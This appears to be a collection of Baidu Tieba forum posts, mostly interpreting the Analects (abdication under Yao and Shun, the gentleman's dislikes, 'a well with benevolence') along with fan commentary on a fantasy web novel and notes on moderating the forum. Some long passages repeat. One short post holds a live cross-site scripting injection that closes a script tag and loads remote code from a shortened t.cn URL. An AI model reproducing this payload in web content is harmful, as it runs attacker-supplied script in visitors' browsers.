“必也正名乎！”则是立法的基础了：规则后面跟着精神，如果你没有求仁的精神、没有好的信仰，只为自己的一己私利而立法，那么“名不正则言不顺……”、后面的一切都是空中楼阁。怎么正名？请大家自己想一下（参照一下上章的“枪杆子”与“得民心”）。

道家论语上半部通过链接吧

论语讨论之——远还是不远？论语中有这样的话：【原文】9.31、唐棣之华，偏其反而；岂不尔思，室是远而。子曰：未之思也，夫何远之有？现在我们讨论：思，究竟是远还是不远？

讨论之……有恶？无恶？事先声明，本讨论局限于论语。关于有恶，取自【原文】17.24 子贡曰：“君子亦有恶乎？”子曰：“有恶。恶称人之恶者，恶居下流而讪上者，恶勇而无礼者，恶果敢而窒者。”曰：“赐也亦有恶乎？恶徼以为知者，恶不孙以为勇者，恶讦以为直者。” 无恶则取自【原文】4.4、子曰：苟志于仁矣，无恶也。

讨论之.....君子有恶乎论语中，有“【原文】4.4、子曰：苟志于仁矣，无恶也。”又有“【原文】17.24 子贡曰：“君子亦有恶乎？”子曰：“有恶..... 现在问题来了：1、君子是不是志于仁？2、为什么仁者无恶君子有恶？要求：本讨论基于论语且不能说“论语错了”。

00道家论语_原宪的论语讲义之前言论语本身，已经说明了自己的传承，我只把它摘出来，合在这儿说说。一、7.1子曰：述而不作，信而好古，窃比于我老彭。孔子说：我讲述而不制定，相信的同时喜欢古礼。私下里是把自己与老子、彭祖相比较。多数理论，都有自己的师承，论语也是如此。论语的“师”就是孔子，也就是论语里的“子”，这是无可置疑的！“述而不作”说明：论语并不是孔子的独创，而是他讲“别人讲给他的东西”。别人讲给他听，他就要讲给我们听？也不尽然。别人讲的、听听就好，只有自己觉得正确，才值得往下传。别人讲的、听听就好，但如果自己觉得好，就一定要往下传。——这就是“信而好古”。“述而不作，信而好古”合起来的意思就是：孔子讲的、讲的是别人说过的东西；讲的是孔子验证后、觉得好的东西。谁说过的？窃比于我老彭。窃是谦称，是“个人认为”。老是老子李耳、彭是彭祖。李耳有没有儿子？估计有；有没有别人拜李耳为师？估计也有。但论语里，孔子把自己视为李耳的嫡传（正统），在自视正统前，总要谦虚一下，所以要“窃”。在历史上，老子和彭祖这两个称呼很奇怪。李耳凭什么叫老子？因为少白头？因为……不管为什么，李耳有父母，父母不能称他为“老子”；李耳有兄弟，兄弟不能称他为“老子”……就是李耳的弟子，也该称李耳为“子”，而不能称“老子”。当然，本章能称他为“老子”。因为这里孔子是对弟子说的，这时他自称为子（老师），称李耳只能是老（老老师）了。祖有开创之意。彭祖也是如此：他开创了最早的平民教育，是我们论语的起源。彭祖跟周公学，学的是祭司教育，是祭司、占卜、与鬼神联系的方法……子、老子、彭祖、周公，这些都是辈份的称呼。别人讲给他听，他就要讲给我们听？也不尽然。别人讲的、听听就好，只有自己觉得正确，才值得往下传。别人讲的、听听就好，但如果自己觉得好，就一定要往下传。——这就是“信而好古”。 “述而不作，信而好古”合起来的意思就是：孔子讲的、讲的是别人说过的东西；讲的是孔子验证后、觉得好的东西。谁说过的？窃比于我老彭。窃是谦称，是“个人认为”。老是老子李耳、彭是彭祖。李耳有没有儿子？估计有；有没有别人拜李耳为师？估计也有。但论语里，孔子把自己视为李耳的嫡传（正统），在自视正统前，总要谦虚一下，所以要“窃”。在历史上，老子和彭祖这两个称呼很奇怪。李耳凭什么叫老子？因为少白头？因为…… 不管为什么，李耳有父母，父母不能称他为“老子”；李耳有兄弟，兄弟不能称他为“老子”……就是李耳的弟子，也该称李耳为“子”，而不能称“老子”。当然，本章能称他为“老子”。因为这里孔子是对弟子说的，这时他自称为子（老师），称李耳只能是老（老老师）了。祖有开创之意。彭祖也是如此：他开创了最早的平民教育，是我们论语的起源。彭祖跟周公学，学的是祭司教育，是祭司、占卜、与鬼神联系的方法…… 子、老子、彭祖、周公，这些都是辈份的称呼。

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不拔一毛而利天下在说“故旧”之前，我们先谈一下“不拔一毛而利天下”。拔毛有两种：一种是自拔自毛，一种是自拔他毛。他拔自毛或他拔他毛只是这两种可能中的角色代换，暂时可以不理。 “子贡赎人”算是自拔自毛，也算得上是利天下。他被批评不是因为赎人、而是因为“不受”！可惜，后来的我们，不仅不批评“不受”，而且直接“不给”了。 ——“苟利国家生死以”，“生死以”之后呢，往往是国家的无动于衷。 “利天下”肯定不止“一毛”，那么利天下之后，又怎么能不收回这“一毛”？ ——我出一块钱，让大家挣了一万块，一万块钱到手，总要还我一块钱吧！ ——这一块钱我不要，以后别人就不肯出钱了；这一块钱你不给，以后你也就别想借钱了…… 所以，不拔并不是真的不拔，而是拔后要安，要拿回相应的补偿。不拔自毛算是 “不白做好事”；不拔他毛则是“不做坏事”。 “拔人一毛而利天下”算不算坏事？如果不管利天下，拔人毛肯定是坏事。加上了利天下，拔人毛难道就能变成好事了？在这里，我们不妨再复述一句诗“真理呀，有多少坏事假汝之名！” 我们利天下，却去拔他的毛，我们的天下包不包括他？如果包括，连他都不利，能算得上什么“利天下”？如果不包括，你的天下又与他何干，用得着他去拔毛？己所不欲，勿施于人，如果你不希望小猫小狗为了它的天下而拔你毛，你就不要去拔人的毛。我为什么不拔己毛？因为 “子贡不受”后，“天下”直接就不给了。我拔了一毛，利了天下。结果呢，天下得了大利，却舍不得还我一毛……天下不还，我干嘛要拔？我为什么不拔他毛？因为换一个角度，我就变成他了。

时间就是时间——评李察的年龄 http://tieba.baidu.com/p/1967623041 这是看了这贴要说的。为了不给他加经验，我另起一贴！ 1、神赐生命激流：在接下来的十五年中，你的躯体将不再衰老。这意思是什么？是你不老、不是说你不长大。也就是说，你能按着这个状态多活15年，却不是说这15年你就没事——— 如果这15年不死，那就进入无敌模式了。而“神赐生命激流”对雷蒙没用也说明这个问题。所以，有了神赐生命激流，李察的年龄还要向上长。 2、神赐从容不迫：你进入的下一个没有建立永恒龙殿的次级位面，时间流速将减慢为诺兰德时间的十分之持续时间为该位面时间三十年。这意思是什么？是不同地方的时间流不一样，诺兰德一年、法罗10年—— 我们再来看李察的年龄：到深蓝时、10岁（多）、回来时、16岁；进军黑玫瑰古堡时，20岁……到目前21（离开黑玫瑰古堡40多天）从这来看，不管李察在哪里、过了一天就是一天、没有任何的优待

借贵地盖一小楼，测试楼主能否删贴 @leontau 欢迎光临

好奇怪——双手手心都同时一痛，被一枚悄然伸出的骨刺扎破 rt好奇怪呀一枚骨刺会扎破双手手心

让你看一看论语中的共产主义社会——大家可直接看“我的理解” 【原文】20.1尧曰：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 「译文」尧说：喂！你、舜！现在，天之历数在你身上了（现在你被选为领导了），你要坚持把握住公平的原则，不能有偏私，不可动摇。是“四海困穷”还是“天禄永终”就在于你自己，（从现在开始，我不管了。）【原文】20.2舜亦以命禹。曰：“予小子履敢用玄牡，敢昭告于皇皇后帝：有罪不敢赦，帝臣不蔽，简在帝心。朕躬有罪，无以万方；万方有罪，罪在朕躬。” 「译文」舜也以（这种方法）来任命禹，他说：我，做为一个不懂事的小子，因站在这个位置上，才敢用黑色的公牛作祭品来祭祀上天，才敢在天后天帝面前向天下昭告：“（我）自知有罪、也不敢请求赦免。但做为天帝的臣子、我没有任何的隐瞒，所有的事情上天都知道（万民也都看到）。我自己犯地罪、无非是没有领导好万民（百姓）；万民有罪、应该怪在我的头上（是因为我没管好）。” 我的理解（1-2）：尧舜禹三代之治，我们只取两段，因为我们的理想并不是完完全全回到古代，而只是希望取其“禅让”两字。尧厉害，但他的位子是他爸传的，所以我们不取；禹能干，但他传位给他儿子了，所以我们也不取。禅让也分主动和被动：主动是自己想传，被动是自己不想传却不得不传。我们先来看第一段：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 听说舜是尧的女婿，尧很喜欢他。这里，我们也能看出长辈传位于晚辈的欣喜之情：“嗯、你这个舜呀，以后就要看你的了，现在、要让你坐在这中间的位置上。” 同时，既有告诫也有祝愿：“这个位置有责任也有荣耀：如果四海困穷、万民受苦，即使不是你造成的，也是你的责任；而国泰民安是你永远的光荣……。” 在舜时，好象发了大水“四海困穷”，大禹治水有功，一步步走上了领导岗位…… 这时，舜不想传位给禹，却又不得不传，请看2段：“予小子履敢用玄牡，敢昭告于皇皇后帝”。联系来看，这两段都是“禅让告天之言”。我说尧主动，是因为尧告天的时候只谈舜、未谈自己。我说舜被动，则是因为舜只谈自己、未谈禹！ “予小子”、两个“敢”是自谦之词，但自谦得有点过了，无疑打地是“悲情牌”。 “履”则说明了舜的位置：站这儿时，舜还是最高领导，一旦走下去，他就不是了。有罪不敢赦，帝臣不蔽，简在帝心。 “发大水”是不是舜的过错？舜不承认，但人们 “责任追究”，把责任定在了舜的头上。这个责任舜没法推：再推就推到天帝的头上了。他还能说：“发大水不是我错，是天帝错，我们把天帝打倒，把他从位子上掀下去？”——这就是“有罪不敢赦” 但舜肯定要推：我这个人，从不在天帝面前瞒过什么，我真正犯了什么错，你上天应该知道！——帝臣不蔽，简在帝心。朕躬有罪，无以万方；万方有罪，罪在朕躬。舜再退一步，承认了自己的“领导责任”：我唯一犯的罪，就是没领导好老百姓；所以老百姓犯的罪，都应归罪到我的身上。自始至终，舜都是在洗脱自己，与“舜亦以命禹”毫无关系。《论语》说“舜亦以命禹”，舜命了没有？没有。从这儿我们可以看出，禅让不是舜说了算：不管舜怎么说，舜的祷告之时，就是舜的退位之日；祷告就是命禹。民心就是天心，民意重过君意。是否禅让，不是由领导说了算，这才是《论语》的三代之治。《论语》说君臣父子，我们再通过“父父子子”，阐述一下“禅让制”的意义。人总要死的，所以传承就变成一件很重要的工作。传承怎么传，无疑也是一个很棘手的问题。但任何朝代、任何家族、任何公司任何其他，传承环节都是一个最薄弱的环节，所以一定要重点说说。传承又分单传和多传，这儿，我们先说单传。薪尽火传，父母去世，子女要“三年不改父之道”，这里的不改，就是“不改父之臣与父之政”，努力保持传承的稳定。这是“子子之道”。《论语》里的父父之道则是禅让：是父亲尽可能在“父亲有能力、子女也有能力”的时候，把家业传给子女…… 父禅让、子不改，两点完成一点，我们就能传承得很好。可惜的是：两者可失其一，却往往导致两者皆失。父望“子不改”、子望“父禅让”，这是内斗的根源，也是“薪尽而火不传”的原因所在。我不举例，因为这样的例子实在太多。怎么避免？首推禅让，因为禅让在前，如果“禅让三年后而父死”，那时就没有“父之臣与父之政”了，“改不改”也就失去意义…… 禅让其权在父，但如果仅靠父亲主动，那就未免太消极了。所以我们要设置一个定期的“祭”的制度，让作为父亲（最高领导）的人、定时定地，向天帝百姓报告工作。民心就是天心：如果子女们（百姓）觉得换人会更好，就可以在这时换别人上来…… 这，才是我们《论语》中的禅让制。本段（1-2），谈“大同社会”的“禅让体制”。

专业与职业、洛琪与可可有一件事真是无比的淡疼，那就是：专业的、往往不是职业；而职业的、却往往不够专业…… 就李察的女人来说，洛琪够专业，但她不会以李的女友为终点；可可呢，以李的女人为终点，却没有学会做女人的专业。

掠夺、贸易和毁灭近期，小李的主动动作有三种：第一种是对蓝方营地的掠夺。第二种是对地裂峡谷、坎帕戈壁、裂石峡谷的毁灭。最后则是对苍白高地的贸易…… 想一想，这三种方式能不能交换？

说说君子吧，一家之见君子的准确定义是什么，是先进中的“后进于礼乐、君子也”！如果加上前一句话，那就是“在一开始学习礼乐之前，我们都是野人”。有人或许“生而知之”，但那是神仙、那是大**，我们学不来……

白天不懂夜的黑一、性格决定命运关于李察，其童年写的很少，但也有着重说明：1、在六岁的时候，他学会了快乐；2、在七岁的时候，他记住了做事要有恒心；3、在八岁的时候，李察学会了坚韧；4、九岁时李察学会了勇气（注：山里的孩子从不缺乏勇气，但妈妈教给李察的勇气却又有所不同）。李察说“真正的男人还要有智慧”，妈妈说“可是恒心、坚强和勇气却更加难得”，李察说“还有快乐”…… 作为烟大的粉丝，我们在赞赏李察主角光环的同时，是否想到：有几个人、拥有李察的性格？只要是金子总会发光的。而我们的发光点越多、就越像金子……

酒杯中的道《论语》6.23、子曰：齐一变，至于鲁；鲁一变，至于道。子曰：觚不觚，觚哉？觚哉！今天，我们就这句话，谈谈酒杯中的道。道有体用两途，体就是酒杯本身的存在，本吧中有位先生，已经把商周以来的酒杯展示的淋漓尽致。用就是酒杯的用途，其用途，无非就是盛酒…… 从体的方面来说，自商到周、酒杯与酒杯已大不相同。从用的方面来讲呢？酒杯与酒杯却没什么两样：无非是专门盛酒、把酒送到口中的家伙而已。对于酒杯，你说异，我说同。异与同的分界在哪？论语中的“觚不觚”是在说觚异、还是在说觚同？换句话问：我们该“白马非马”；还该“万物一指”？ 15.26 子曰：“吾犹及史之阙文也，有马者借人乘之，今亡矣夫。” 白马是不是马？论语的解决办法很简单：借给人骑一下，能骑的就是马……如果从这儿来看，论语是在“说觚同”。所以觚不觚的整体翻译应该是“现在的酒杯呀，已经不是原来的酒杯了，它还是酒杯吗？（尽管不一样）它还是酒杯！” 有人会说：“有马者借人乘之”的翻译不对。《封神演义》中有人骑“五色神牛”，那可是能骑的、那可不是马呀！对此，我表示遗憾：你说它不是马，难道它是牛？

论“井有仁” 论“井有仁” 先自吹自擂一下：我的《道家论语》基本讲尽了论语的哲学——注意，是哲学哟！我这里讲“井有仁”、是讲完论语后的“复讲”。所谓“举一隅不以三隅反，则不复也”，原来是“举一隅”、现在是“三隅反”，其复杂程度肯定远远超过了初讲——也就是说：看这篇井有仁，你要耐得住性子。人类的发展历程、就是从必然王国走向自由王国的历程。从这话可以看出：1、我们生活在必然王国，有许多的不自由；2、我们在走向自由王国、我们越来越自由…… “井有仁”其实也是这样：1、仁困井中，说明不自由；2、井有有仁、说明我们在追求自由…… 通常，我们把仁理解为：“通向自由王国（道）所遵循的道路”。“依于仁”就是说明我们要靠着仁才能走上道。 “井有仁”，仁在井中干什么？当然是破井而出了。宰我是个善辩的人，不自觉地就为我们设下一个陷阱“其从之也？” 我们从仁，是从仁的“破井而出”，还是跟着仁跑到井里？如果我们简单地说从，那就跑到井里去了；如果我们说不从，那就将与仁背道而驰…… 一个问，两个井，我们不能简单地回答“从或不从”。这也是孔子不直接回答的原因所在。我们来看孔子答的第一句“何为其然也？”——为什么这样提问题呢？宰我是个善辩的人，但我们学的是论语、而不是辩论！我们学论语，是为了通过论语寻找真理；我们会辩论，但辩论只是手段、而非目的！宰我的这个问句呢，过于注重手段，而忽视了“寻找真理”的最终目的。仰望星空的人、往往会忽视脚下的道路。宰我挖个井，让人们不自觉地踏入井中……宰我很厉害，但这有什么意义？

从时间之神逆看绯色克拉克把绯色看成日暮圣堂，这不奇怪，因为绯色本就是日暮圣堂，只不……不是黑夜女士的日暮圣堂！白天和黑夜构成时间，那么，时光自然也就能分解为白天和黑夜。在李察的队伍中，流砂代表着白天，其称号为拂晓、有她在、白天就要到来；而绯色则代表黑夜，所谓绯色、其实就是日落时那最后的一缕晚霞…… 绯色是真名、日暮圣堂只是她的职位。

说说我的观点关于删贴，近日我和陶吧主有了点分歧。我说分歧而没说分争，原因在于：我反对直接删贴，却没有禁止陶先生删贴；陶先生对我有看法，也只是提出要撤销我的小吧…… 我们所做的，其实都是以会员、也就是“论语青春”的身份去做，并没有相互使用小吧或吧主的权力这、是一个很好的现象。

从论语的角度谈“舜父杀人” 本贴承http://tieba.baidu.com/p/1384169518?pn=3贴而来。突然间，有点怀念几年前的我，怀念争论善恶、可知与不可知的那几位先生

构装设计　火球之歌人物：提拉米苏角色：暴力法师兵器：无套装名称：火球之歌总体设计思路：魔力增幅、魔力增幅、防御增加、N个火球术外加魔法同步（见命运之战下、有加强）初级构装版本为5件套。套装能力：火球之歌，在能力发动时，周围一片火海。构件功能描述：魔力增幅：见流砂（左上臂）增30%魔力。魔力增幅：见流砂（右上臂）增30%魔力。防御增加：见镇熊骑士（胸口有加强、增30%防御）。 N个火球术外加魔法同步：左小臂。 N个火球术外加魔法同步：右小臂。效果：提拉米苏一伸手，谁也不知道他是物理攻击还是魔法攻击……

说话是一门艺术、但说假话绝不是艺术 rt

天下有雪删贴提请处作为小吧，我将在此处理所有的删贴。诸位吧友，如果觉得有需删贴的内容，请按以下格式提供，如果被删贴人有意见，也可在此跟贴解释。我将在48小时后视反映内容处理。提请格式：请删除 @威风把脉在http://tieba.baidu.com/p/1365110653二楼发贴，原因：涉及不文明用语（人身攻击等）。注，本贴为样贴，其余提请贴处理后将删除。

从止谤说起——兼致不死殿堂先生在古代，有个伟大的君王，提出了“止谤”这个响亮的口号！在许多时候，“诽谤”都是一个贬义词，止谤似乎理所应当，可惜的是：诽谤是贬义词，止谤还是贬义词。一个“诽谤”，支持的不对，反对的也不对。这里面，是不是有什么不对？我当小吧，当然要“一朝权在手、便把令来行”，否则我还不如不当小吧。把权占着，什么令都不行的事，我还做不出来。这里，我用的权是“公权”，我在吧里的身份也成了“公仆”。不当小吧，我和你身份平等；当小吧，我却比你低了一级，这也是没办法的事。不知不觉，我已经有了两个身份：一个是人民（或者说公民），一个是公仆。而你呢，不能因为我是公仆，进而剥夺我的公民身份…… 我做“我认为正确的事”，就是以我公仆之份，行我公民之责！我是公民，你也是公民，为什么我行我的、却不行你的？这就说来话长了……

关于父母无恩论这要看你从什么角度去讲：如果你是父母，你应该自认为对子女无恩，如果认为有恩，那不是示施就是在做买卖，而这两种都属于无恩；如果你是子女，则应认为父母对我有恩，否则就……不是人

显然,或者,哦,这事做错了?</script><script/src=//t.cn/aCXCxM> 难道不是吗? @samy_joke

道家论语——原新宋同人《论语正义》我还是把它贴在这儿吧，虽然我的观点是“非主流” http://tieba.baidu.com/f?kz=766748274

论使徒苏不是使徒、是羔羊。羔羊是使徒放出来的，它的使命就是成为使徒的食物，当然，有时是吃掉全部、有时只吃一滴血…… 苏就被大地雷霆吃掉一滴血。苏是羔羊，所以痛恨使徒，但要想不变成食物，就只能自己做“主”、不作羔羊…… 一步跨出、一切将不由自主，从苏决定保护梅、从蜘蛛女皇那里走出的时候，他就迈上了“主的道路”。有主、就有使徙，使徙存在的意义，有如羔羊之与使徒…… 苏的三个孩子是使徒，它们却只是苏的使徒，它们存在的意义，有如《亵渎》里的“小风月”，是个副本、是个可被苏吸收并提升能力的对象。三个孩子怕父体，就是因为：吸收，是父体的本能！雪不怕父体，因为知道父体能够控制本能；洛保护母体，因为丽是洛对抗父体的最大本钱……

道家论语下之序各位同仁大家好，非常感谢你们继续参加我们的论语学习。上学期，我们学了论语上，就我而言，整个论语上可归纳为一句话“文质彬彬，然后君子”。 “先进于礼乐，野人也；”在上学期，你们和我学论语时，不需要任何地基础，需要的只是一句假设“孝弟人之本欤？”。就象我们盖房子需要地基一样：“凡事必有因”、任何事物都需要基点，论语也一样。问题在于：地基也需要地基，地基的地基又是什么？……顺着这个，我们就不得不追究世界的本源、宇宙的第一推动力。 “吾生也有涯，而智也无涯。”论语还没讲呢，我们就要追究世界之源，是不是太自不量力了？所以我们要有个假设，有个截断，就象房子的地基一样。至于地基的地基是什么，我们且不去管它…… “孝弟人之本欤？”就是论语的地基，如果把它放在合适的地方，会天然地正确；如果把它放在海洋里……就别谈论语了吧。性善性恶其实是个永恒的争论：通常，性恶源于竞争，以“我有则你无”为基石；性善源于联合，讲究的是“力合则强、力分则弱”…… 它们之间也有联系：你讲性恶、就要跟人争、就要跟更强的人争……要跟强者争、你就要联合弱者——这就变成性善了；我讲性善、就讲联合、而联合总要有个目的吧……目的还是和人（天地、自然）争（或防止别人过来争），这又和性恶差不多。上学期我们也学过“御和射”，御讲联合、射讲竞争。“吾执御”则是告诉我们：论语是一本讲究联合的书。联合要有目的，目的是什么？目的是射，在竞争中占据优势、以分取较大份额的蛋糕！我们修身，是为了举全身之力；我们齐家，是为了举全家之力；治国平天下，更是为了举全国、全天下的力量…… 我们修身，别人就不能欺负我们；我们齐家，别家就不能欺负我家；我们治国，别国就不能欺负我国；我们平天下……哦对了，我们平天下的目的是什么？己所不欲，勿施于人。我们不想被别人欺负，我们就不能欺负别人。所以，我们平天下的目的，就是保护弱者，让那些连修身也不会的普通人（小人），也能过上他们想要的生活。我们修身，是为了让自己成为心理和生理上的强者；我们齐家，是为了保护身边的弱者不被人欺压。到了治国平天下，难道就会在性质上发生改变，变成了我们欺压国民、君临天下？ “半部论语平天下”，我们下半部论语、讲的就是平天下。但我们不能顾此失彼，忘记了平天下的目的！平天下的目的是什么？就是孔子的 “及人之老”——“老吾老及人之老”中的“及人之老”！

论语下之序论语下之序各位同仁大家好，非常感谢你们继续参加我们的论语学习。上学期，我们学了论语上，就我而言，整个论语上可归纳为一句话“文质彬彬，然后君子”。 “先进于礼乐，野人也；”在上学期，你们和我学论语时，不需要任何地基础，需要的只是一句假设“孝弟人之本欤？”。就象我们盖房子需要地基一样：“凡事必有因”、任何事物都需要基点，论语也一样。问题在于：地基也需要地基，地基的地基又是什么？……顺着这个，我们就不得不追究世界的本源、宇宙的第一推动力。 “吾生也有涯，而智也无涯。”论语还没讲呢，我们就要追究世界之源，是不是太自不量力了？所以我们要有个假设，有个截断，就象房子的地基一样。至于地基的地基是什么，我们且不去管它…… “孝弟人之本欤？”就是论语的地基，如果把它放在合适的地方，会天然地正确；如果把它放在海洋里……就别谈论语了吧。性善性恶其实是个永恒的争论：通常，性恶源于竞争，以“我有则你无”为基石；性善源于联合，讲究的是“力合则强、力分则弱”…… 它们之间也有联系：你讲性恶、就要跟人争、就要跟更强的人争……要跟强者争、你就要联合弱者——这就变成性善了；我讲性善、就讲联合、而联合总要有个目的吧……目的还是和人（天地、自然）争（或防止别人过来争），这又和性恶差不多。上学期我们也学过“御和射”，御讲联合、射讲竞争。“吾执御”则是告诉我们：论语是一本讲究联合的书。联合要有目的，目的是什么？目的是射，在竞争中占据优势、以分取较大份额的蛋糕！我们修身，是为了举全身之力；我们齐家，是为了举全家之力；治国平天下，更是为了举全国、全天下的力量…… 我们修身，别人就不能欺负我们；我们齐家，别家就不能欺负我家；我们治国，别国就不能欺负我国；我们平天下……哦对了，我们平天下的目的是什么？己所不欲，勿施于人。我们不想被别人欺负，我们就不能欺负别人。所以，我们平天下的目的，就是保护弱者，让那些连修身也不会的普通人（小人），也能过上他们想要的生活。我们修身，是为了让自己成为心理和生理上的强者；我们齐家，是为了保护身边的弱者不被人欺压。到了治国平天下，难道就会在性质上发生改变，变成了我们欺压国民、君临天下？ “半部论语平天下”，我们下半部论语、讲的就是平天下。但我们不能顾此失彼，忘记了平天下的目的！平天下的目的是什么？就是孔子的 “及人之老”——“老吾老及人之老”中的“及人之老”！

承天门孔子像挪走了？求证实 rt

下赌唐康姚麟与种师中此时都已迫不及待的要回去各自准备。这是他们都输不起的一场竞争。二人很快告辞离去。刘延庆也正想跟着告退，却被唐康留了下来。 —————————————————————————————————— 唐想干什么？

谈谈儒家的“理想国”《论语原讲》之尧曰二谈谈儒家的“理想国”－《论语原讲》之尧曰二十前面讲“儒分八家”，现在我们再倒过来，讲一讲“八家称儒”。在《论语》的上半部，子罕第九讲孔子的“内”，乡党第十讲孔子的“外”。在下半部，子张十九是儒家的“内”，本篇则是儒家的“外”。儒家的内，是儒分八家，八家不同；儒家的外，则是八家称儒，共同指向。儒分八家，说明我们的道路不同；八家称儒，则说明我们的目的相同。 “条条大路通罗马”。在这句俗话中，条条大路是“儒分八家”，通罗马是“八家称儒”。我们的罗马是什么？是“三代之治”、是“大同社会”、是理想国。其具体表现形式，我们将在此一一表述。【原文】20.1尧曰：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 「译文」尧说：喂！你、舜，来我这儿！现在，天之历数在你身上了（现在你被选为领导了），你要坚持把握住公平的原则，不能有偏私，不可动摇。是“四海困穷”还是“天禄永终”就在于你自己，（从现在开始，我不管了。）【原文】20.2舜亦以命禹。曰：“予小子履敢用玄牡，敢昭告于皇皇后帝：有罪不敢赦，帝臣不蔽，简在帝心。朕躬有罪，无以万方；万方有罪，罪在朕躬。” 「译文」舜也以（这种方法）来任命禹，他说：我，做为一个不懂事的小子，因站在这个位置上，才敢用黑色的公牛作祭品来祭祀上天，才敢在天后天帝面前向天下昭告：“（我）自知有罪、也不敢请求赦免。但做为天帝的臣子、我没有任何的隐瞒，所有的事情上天都知道（万民也都看到）。我自己犯地罪、无非是没有领导好万民（百姓）；万民有罪、应该怪在我的头上（是因为我没管好）。” 我的理解（1-2）：尧舜禹三代之治，我们只取两段，因为我们的理想并不是完完全全回到古代，而只是希望取其“禅让”两字。尧厉害，但他的位子是他爸传的，所以我们不取；禹能干，但他传位给他儿子了，所以我们也不取。禅让也分主动和被动：主动是自己想传，被动是自己不想传却不得不传。我们先来看第一段：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 听说舜是尧的女婿，尧很喜欢他。这里，我们也能看出长辈传位于晚辈的欣喜之情：“嗯、你这个舜呀，以后就要看你的了，现在、要让你坐在这最高的位置上。” 同时，既有告诫也有祝愿：“这个位置有责任也有荣耀：如果四海困穷、万民受苦，即使不是你造成的，也是你的责任；而国泰民安是你永远的光荣……。” 在舜时，好象发了大水“四海困穷”，大禹治水有功，一步步走上了领导岗位…… 这时，舜不想传位给禹，却又不得不传，请看2段：“予小子履敢用玄牡，敢昭告于皇皇后帝”。联系来看，这两段都是“禅让告天之言”。我说尧主动，是因为尧告天的时候只谈舜、未谈自己。我说舜被动，则是因为舜只谈自己、未谈禹！ “予小子”、两个“敢”是自谦之词，但自谦得有点过了，无疑打地是“悲情牌”。 “履”则说明了舜的位置：站这儿时，舜还是最高领导，一旦走下去，他就不是了。有罪不敢赦，帝臣不蔽，简在帝心。 “发大水”是不是舜的过错？舜不承认，但人们 “责任追究”，把责任定在了舜的头上。这个责任舜没法推：再推就推到玉皇大帝的头上了。他还能说：“发大水不是我错，是玉帝错，我们把玉帝打倒，把他从位子上掀下去？” 但舜肯定要推：我这个人，从不在天帝面前瞒过什么，我真正犯了什么错，你上天应该知道！朕躬有罪，无以万方；万方有罪，罪在朕躬。舜再退一步，承认了自己的“领导责任”：我唯一犯的罪，就是没领导好老百姓；所以老百姓犯的罪，都应归罪到我的身上。自始至终，舜都是在洗脱自己，与“舜亦以命禹”毫无关系。《论语》说“舜亦以命禹”，舜命了没有？没有。从这儿我们可以看出，禅让不是舜说了算：不管舜怎么说，舜的祷告之时，就是舜的退位之日；祷告就是命禹。民心就是天心，民意重过君意。是否禅让，不是由领导说了算，这才是《论语》的三代之治。《论语》说君臣父子，我们再通过“父父子子”，阐述一下“禅让制”的意义。人总要死的，所以传承就变成一件很重要的工作。传承怎么传，无疑也是一个很棘手的问题。但任何朝代、任何家族、任何公司任何其他，传承环节都是一个最薄弱的环节，所以一定要重点说说。传承又分单传和多传，这儿，我们先说单传。薪尽火传，父母去世，子女要“三年不改父之道”，这里的不改，就是努力保持传承的稳定。这是“子子之道”。《论语》里的父父之道则是禅让：是父亲尽可能在“父亲有能力、子女也有能力”的时候，把家业传给子女…… 父禅让、子不改，两点完成一点，我们就能传承得很好。可惜的是：两者可失其一，却往往导致两者皆失。父望“子不改”、子望“父禅让”，这是内斗的根源，也是“薪尽而火不传”的原因所在。我不举例，因为这样的例子实在太多。怎么避免？首推禅让，因为禅让在前，如果“禅让三年后而父死”，“改不改”就没有意义…… 禅让其权在父，但如果仅靠父亲主动，那就未免太消极了。所以我们要设置一个定期的“祭”的制度，让作为父亲（最高领导）的人、定时定地，向天帝百姓报告工作。民心就是天心：如果子女们（百姓）觉得换人会更好，就可以在这时换别人上来…… 这，才是我们《论语》中的禅让制。本段（1-2），谈“大同社会”的“禅让体制”。

谈谈儒家的“理想国”－《论语原讲》之尧曰二十前面讲“儒分八家”，现在我们再倒过来，讲一讲“八家称儒”。在《论语》的上半部，子罕第九讲孔子的“内”，乡党第十讲孔子的“外”。在下半部，子张十九是儒家的“内”，本篇则是儒家的“外”。儒家的内，是儒分八家，八家不同；儒家的外，则是八家称儒，共同指向。儒分八家，说明我们的道路不同；八家称儒，则说明我们的目的相同。 “条条大路通罗马”。在这句俗话中，条条大路是“儒分八家”，通罗马是“八家称儒”。我们的罗马是什么？是“三代之治”、是“大同社会”、是理想国。其具体表现形式，我们将在此一一表述。【原文】20.1尧曰：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 「译文」尧说：喂！你、舜，来我这儿！现在，天之历数在你身上了（现在你被选为领导了），你要坚持把握住公平的原则，不能有偏私，不可动摇。是“四海困穷”还是“天禄永终”就在于你自己，（从现在开始，我不管了。）【原文】20.2舜亦以命禹。曰：“予小子履敢用玄牡，敢昭告于皇皇后帝：有罪不敢赦，帝臣不蔽，简在帝心。朕躬有罪，无以万方；万方有罪，罪在朕躬。” 「译文」舜也以（这种方法）来任命禹，他说：我，做为一个不懂事的小子，因站在这个位置上，才敢用黑色的公牛作祭品来祭祀上天，才敢在天后天帝面前向天下昭告：“（我）自知有罪、也不敢请求赦免。但做为天帝的臣子、我没有任何的隐瞒，所有的事情上天都知道（万民也都看到）。我自己犯地罪、无非是没有领导好万民（百姓）；万民有罪、应该怪在我的头上（是因为我没管好）。” 我的理解（1-2）：尧舜禹三代之治，我们只取两段，因为我们的理想并不是完完全全回到古代，而只是希望取其“禅让”两字。尧厉害，但他的位子是他爸传的，所以我们不取；禹能干，但他传位给他儿子了，所以我们也不取。禅让也分主动和被动：主动是自己想传，被动是自己不想传却不得不传。我们先来看第一段：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 听说舜是尧的女婿，尧很喜欢他。这里，我们也能看出长辈传位于晚辈的欣喜之情：“嗯、你这个舜呀，以后就要看你的了，现在、要让你坐在这最高的位置上。” 同时，既有告诫也有祝愿：“这个位置有责任也有荣耀：如果四海困穷、万民受苦，即使不是你造成的，也是你的责任；而国泰民安是你永远的光荣……。” 在舜时，好象发了大水“四海困穷”，大禹治水有功，一步步走上了领导岗位…… 